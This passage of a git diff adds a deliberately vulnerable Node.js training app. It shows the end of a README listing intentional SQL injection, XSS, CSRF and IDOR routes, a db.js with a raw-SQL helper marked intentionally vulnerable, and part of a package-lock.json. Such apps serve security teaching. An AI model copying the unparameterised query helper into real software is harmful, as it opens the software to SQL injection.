+  db.js               # sqlite wrapper (with a deliberate raw-SQL helper)
+  seed.js             # schema + demo data
+  routes/
+    auth.js           # login (classic SQLi) + register
+    sqli.js           # /search (UNION), /account/check (blind)
+    xss.js            # /hello (reflected), /messages (stored)
+    profile.js        # /profile + CSRF-vulnerable updates
+    idor.js           # /files, /file?id=, /user/:id
+  views/*.ejs         # EJS templates
+  public/css/style.css
+```
+
+Each vulnerable route is flagged with a `VULN:` comment explaining the flaw
+and linking to an exploit example.
+
+## Not included (yet)
+
+The original JavaVulnerableLab also demonstrates XXE, XPath injection,
+broken session management (URL rewriting), weak hashing, and open redirects.
+Those are out of scope for this core-subset build; extend as needed.
diff --git a/node-vuln-app/db.js b/node-vuln-app/db.js
new file mode 100644
index 00000000..22cf57d7
--- /dev/null
+++ b/node-vuln-app/db.js
@@ -0,0 +1,43 @@
+const sqlite3 = require('sqlite3');
+const path = require('path');
+
+const DB_PATH = path.join(__dirname, 'data', 'vuln.sqlite');
+const db = new sqlite3.Database(DB_PATH);
+
+// INTENTIONALLY VULNERABLE: a run() that accepts a raw SQL string.
+// This is used by the vulnerable routes to make string-concat SQLi trivial to
+// demonstrate. A real app would use parameterized queries everywhere.
+function rawAll(sql) {
+  return new Promise((resolve, reject) => {
+    db.all(sql, (err, rows) => (err ? reject(err) : resolve(rows)));
+  });
+}
+
+function rawGet(sql) {
+  return new Promise((resolve, reject) => {
+    db.get(sql, (err, row) => (err ? reject(err) : resolve(row)));
+  });
+}
+
+function run(sql, params = []) {
+  return new Promise((resolve, reject) => {
+    db.run(sql, params, function (err) {
+      if (err) reject(err);
+      else resolve({ lastID: this.lastID, changes: this.changes });
+    });
+  });
+}
+
+function all(sql, params = []) {
+  return new Promise((resolve, reject) => {
+    db.all(sql, params, (err, rows) => (err ? reject(err) : resolve(rows)));
+  });
+}
+
+function get(sql, params = []) {
+  return new Promise((resolve, reject) => {
+    db.get(sql, params, (err, row) => (err ? reject(err) : resolve(row)));
+  });
+}
+
+module.exports = { db, rawAll, rawGet, run, all, get };
diff --git a/node-vuln-app/package-lock.json b/node-vuln-app/package-lock.json
new file mode 100644
index 00000000..54b755f4
--- /dev/null
+++ b/node-vuln-app/package-lock.json
@@ -0,0 +1,2464 @@
+{
+  "name": "node-vuln-app",
+  "version": "0.1.0",
+  "lockfileVersion": 3,
+  "requires": true,
+  "packages": {
+    "": {
+      "name": "node-vuln-app",
+      "version": "0.1.0",
+      "dependencies": {
+        "body-parser": "^1.20.2",
+        "cookie-parser": "^1.4.6",
+        "ejs": "^3.1.9",
+        "express": "^4.19.2",
+        "express-session": "^1.18.0",
+        "sqlite3": "^5.1.7"
+      }
+    },
+    "node_modules/@gar/promisify": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz",
+      "integrity": "sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==",
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/@npmcli/fs": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz",
+      "integrity": "sha512-8KG5RD0GVP4ydEzRn/I4BNDuxDtqVbOdm8675T49OIG/NGhaK0pjPX7ZcDlvKYbA+ulvVK3ztfcF4uBdOxuJbQ==",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "@gar/promisify": "^1.0.1",
+        "semver": "^7.3.5"
+      }
+    },
+    "node_modules/@npmcli/move-file": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz",
+      "integrity": "sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==",
+      "deprecated": "This functionality has been moved to @npmcli/fs",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "mkdirp": "^1.0.4",
+        "rimraf": "^3.0.2"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/@tootallnate/once": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz",
+      "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==",
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/abbrev": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
+      "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==",
+      "license": "ISC",
+      "optional": true
+    },
+    "node_modules/accepts": {
+      "version": "1.3.8",
+      "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
+      "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
+      "license": "MIT",
+      "dependencies": {
+        "mime-types": "~2.1.34",
+        "negotiator": "0.6.3"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/agent-base": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
+      "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 6.0.0"
+      }
+    },
+    "node_modules/agent-base/node_modules/debug": {
+      "version": "4.4.3",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+      "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "ms": "^2.1.3"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/agent-base/node_modules/ms": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/agentkeepalive": {
+      "version": "4.6.0",
+      "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.6.0.tgz",
+      "integrity": "sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "humanize-ms": "^1.2.1"
+      },
+      "engines": {
+        "node": ">= 8.0.0"
+      }
+    },
+    "node_modules/aggregate-error": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",
+      "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "clean-stack": "^2.0.0",
+        "indent-string": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/aproba": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz",
+      "integrity": "sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==",
+      "license": "ISC",
+      "optional": true
+    },
+    "node_modules/are-we-there-yet": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz",
+      "integrity": "sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==",
+      "deprecated": "This package is no longer supported.",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "delegates": "^1.0.0",
+        "readable-stream": "^3.6.0"
+      },
+      "engines": {
+        "node": "^12.13.0 || ^14.15.0 || >=16.0.0"
+      }
+    },
+    "node_modules/array-flatten": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
+      "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==",
+      "license": "MIT"
+    },
+    "node_modules/async": {
+      "version": "3.2.6",
+      "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz",
+      "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==",
+      "license": "MIT"
+    },
+    "node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "license": "MIT"
+    },
+    "node_modules/base64-js": {
+      "version": "1.5.1",
+      "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
+      "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT"
+    },
+    "node_modules/bindings": {
+      "version": "1.5.0",
+      "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz",
+      "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==",
+      "license": "MIT",
+      "dependencies": {
+        "file-uri-to-path": "1.0.0"
+      }
+    },
+    "node_modules/bl": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz",
+      "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==",
+      "license": "MIT",
+      "dependencies": {
+        "buffer": "^5.5.0",
+        "inherits": "^2.0.4",
+        "readable-stream": "^3.4.0"
+      }
+    },
+    "node_modules/body-parser": {
+      "version": "1.20.5",
+      "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.5.tgz",
+      "integrity": "sha512-3grm+/2tUOvu2cjJkvsIxrv/wVpfXQW4PsQHYm7yk4vfpu7Ekl6nEsYBoJUL6qDwZUx8wUhQ8tR2qz+ad9c9OA==",
+      "license": "MIT",
+      "dependencies": {
+        "bytes": "~3.1.2",
+        "content-type": "~1.0.5",
+        "debug": "2.6.9",
+        "depd": "2.0.0",
+        "destroy": "~1.2.0",
+        "http-errors": "~2.0.1",
+        "iconv-lite": "~0.4.24",
+        "on-finished": "~2.4.1",
+        "qs": "~6.15.1",
+        "raw-body": "~2.5.3",
+        "type-is": "~1.6.18",
+        "unpipe": "~1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.8",
+        "npm": "1.2.8000 || >= 1.4.16"
+      }
+    },
+    "node_modules/brace-expansion": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.0.tgz",
+      "integrity": "sha512-TN1kCZAgdgweJhWWpgKYrQaMNHcDULHkWwQIspdtjV4Y5aurRdZpjAqn6yX3FPqTA9ngHCc4hJxMAMgGfve85w==",
+      "license": "MIT",
+      "dependencies": {
+        "balanced-match": "^1.0.0"
+      }
+    },
+    "node_modules/buffer": {
+      "version": "5.7.1",
+      "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
+      "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "base64-js": "^1.3.1",
+        "ieee754": "^1.1.13"
+      }
+    },
+    "node_modules/bytes": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
+      "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/cacache": {
+      "version": "15.3.0",
+      "resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz",
+      "integrity": "sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==",
+      "license": "ISC",
+      "optional": true,
+      "dependencies": {
+        "@npmcli/fs": "^1.0.0",
+        "@npmcli/move-file": "^1.0.1",
+        "chownr": "^2.0.0",
+        "fs-minipass": "^2.0.0",
+        "glob": "^7.1.4",
+        "infer-owner": "^1.0.4",
+        "lru-cache": "^6.0.0",
+        "minipass": "^3.1.1",
+        "minipass-collect": "^1.0.2",
+        "minipass-flush": "^1.0.5",
+        "minipass-pipeline": "^1.2.2",
+        "mkdirp": "^1.0.3",
+        "p-map": "^4.0.0",
+        "promise-inflight": "^1.0.1",
+        "rimraf": "^3.0.2",
+        "ssri": "^8.0.1",
+        "tar": "^6.0.2",
+        "unique-filename": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 10"
+      }
+    },
+    "node_modules/call-bind-apply-helpers": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
+      "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==",
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/call-bound": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
+      "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bind-apply-helpers": "^1.0.2",
+        "get-intrinsic": "^1.3.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/chownr": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz",
+      "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/clean-stack": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz",
+      "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==",
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/color-support": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz",
+      "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==",
+      "license": "ISC",
+      "optional": true,
+      "bin": {
+        "color-support": "bin.js"
+      }
+    },
+    "node_modules/concat-map": {
+      "version": "0.0.1",
+      "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
+      "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/console-control-strings": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz",
+      "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==",
+      "license": "ISC",
+      "optional": true
+    },
+    "node_modules/content-disposition": {
+      "version": "0.5.4",
+      "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
+      "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
+      "license": "MIT",
+      "dependencies": {
+        "safe-buffer": "5.2.1"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/content-type": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
+      "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/cookie": {
+      "version": "0.7.2",
+      "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",
+      "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/cookie-parser": {
+      "version": "1.4.7",
+      "resolved": "https://registry.npmjs.org/cookie-parser/-/cookie-parser-1.4.7.tgz",
+      "integrity": "sha512-nGUvgXnotP3BsjiLX2ypbQnWoGUPIIfHQNZkkC668ntrzGWEZVW70HDEB1qnNGMicPje6EttlIgzo51YSwNQGw==",
+      "license": "MIT",
+      "dependencies": {
+        "cookie": "0.7.2",
+        "cookie-signature": "1.0.6"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/cookie-signature": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
+      "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==",
+      "license": "MIT"
+    },
+    "node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "license": "MIT",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/decompress-response": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz",
+      "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==",
+      "license": "MIT",
+      "dependencies": {
+        "mimic-response": "^3.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/deep-extend": {
+      "version": "0.6.0",
+      "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
+      "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=4.0.0"
+      }
+    },
+    "node_modules/delegates": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz",
+      "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==",
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/depd": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
+      "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/destroy": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
+      "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.8",
+        "npm": "1.2.8000 || >= 1.4.16"
+      }
+    },
+    "node_modules/detect-libc": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
+      "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==",
+      "license": "Apache-2.0",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/dunder-proto": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
+      "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
+      "license": "MIT",
+      "dependencies": {
+        "call-bind-apply-helpers": "^1.0.1",
+        "es-errors": "^1.3.0",
+        "gopd": "^1.2.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/ee-first": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
+      "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==",
+      "license": "MIT"
+    },
+    "node_modules/ejs": {
+      "version": "3.1.10",
+      "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz",
+      "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "jake": "^10.8.5"
+      },
+      "bin": {
+        "ejs": "bin/cli.js"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/emoji-regex": {
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/encodeurl": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
+      "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/encoding": {
+      "version": "0.1.13",
+      "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz",
+      "integrity": "sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "iconv-lite": "^0.6.2"
+      }
+    },
+    "node_modules/encoding/node_modules/iconv-lite": {
+      "version": "0.6.3",
+      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
+      "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "safer-buffer": ">= 2.1.2 < 3.0.0"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/end-of-stream": {
+      "version": "1.4.5",
+      "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz",
+      "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==",
+      "license": "MIT",
+      "dependencies": {
+        "once": "^1.4.0"
+      }
+    },
+    "node_modules/env-paths": {
+      "version": "2.2.1",
+      "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz",
+      "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==",
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/err-code": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz",
+      "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==",
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/es-define-property": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
+      "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/es-errors": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
+      "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/es-object-atoms": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",
+      "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==",
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0"
+      },
+      "engines": {
